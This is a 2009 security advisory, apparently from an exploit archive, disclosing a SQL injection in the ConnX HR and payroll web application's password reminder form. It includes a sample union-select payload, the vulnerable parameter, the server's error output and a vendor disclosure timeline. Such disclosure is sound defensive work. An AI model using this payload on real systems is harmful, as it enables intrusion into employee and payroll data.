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ConnX SQL Injection

ConnX SQL Injection
Posted Apr 2, 2009
Authored by Patrick Webster | Site aushack.com

ConnX version 4.0.20080606 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 3bf4adb9e3265ec9bb49961a8474ece3

ConnX SQL Injection

Change Mirror Download
aushack.com - Vulnerability Advisory
-----------------------------------------------
Release Date:
03-Apr-2009

Software:
Q2 Solutions - ConnX
http://www.q2solutions.com.au/

"ConnX is a ready built internet/intranet solution that empowers employees and
management to view and update HR and Payroll information. Internal
communications
are improved by providing easy access to Company and personal information for
all employees."

Versions tested:
Version 4.0.20080606 has been confirmed as vulnerable. Other versions untested.

Vulnerability discovered:

SQL Injection

Vulnerability impact:

High - SQL Injection in backend database. Impact depends on the
security and configuration of the database. It may be possible
to execute code using functons such as xp_cmdshell in poorly
configured hosts. Other attacks possible include obtaining read
or write access to employee data or payroll.

Vulnerability information:

The 'txtEmail' HTML form input POST parameter of password reminder form
'frmLoginPwdReminderPopup.aspx' is vulnerable to SQL injection.

Example:

Submitting:

' union select @@version;--

To:

http://connx.[victim].com/frmLoginPwdReminderPopup.aspx

Returns:

"Error retrieving password reminder. Syntax error converting the nvarchar
value 'Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53
Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.2
(Build 3790: Service Pack 2) ' to a column of data type int."

Recommendation:

Vendor refused to comment on whether they would develop a patch or even notify
existing client base.

Workaround: Remove ConnX server from public Internet access and protect behind
corporate firewalls, SSL-VPN, web application firewall etc.

References:
aushack.com advisory
http://www.aushack.com/200904-q2solutions.txt

Credit:
Patrick Webster ( patrick@aushack.com )

Disclosure timeline:
30-Oct-2008 - Discovered during audit.
05-Nov-2008 - Notified vendor. Vendor declined to comment.
01-Dec-2008 - Submitted full details to vendor.
18-Dec-2008 - Attempted to contact vendor again for a patch release date.
18-Dec-2008 - And again...
18-Dec-2008 - Vendor response, no patch - "We support our clients,
not independent contractors."
03-Apr-2009 - Disclosure.

EOF
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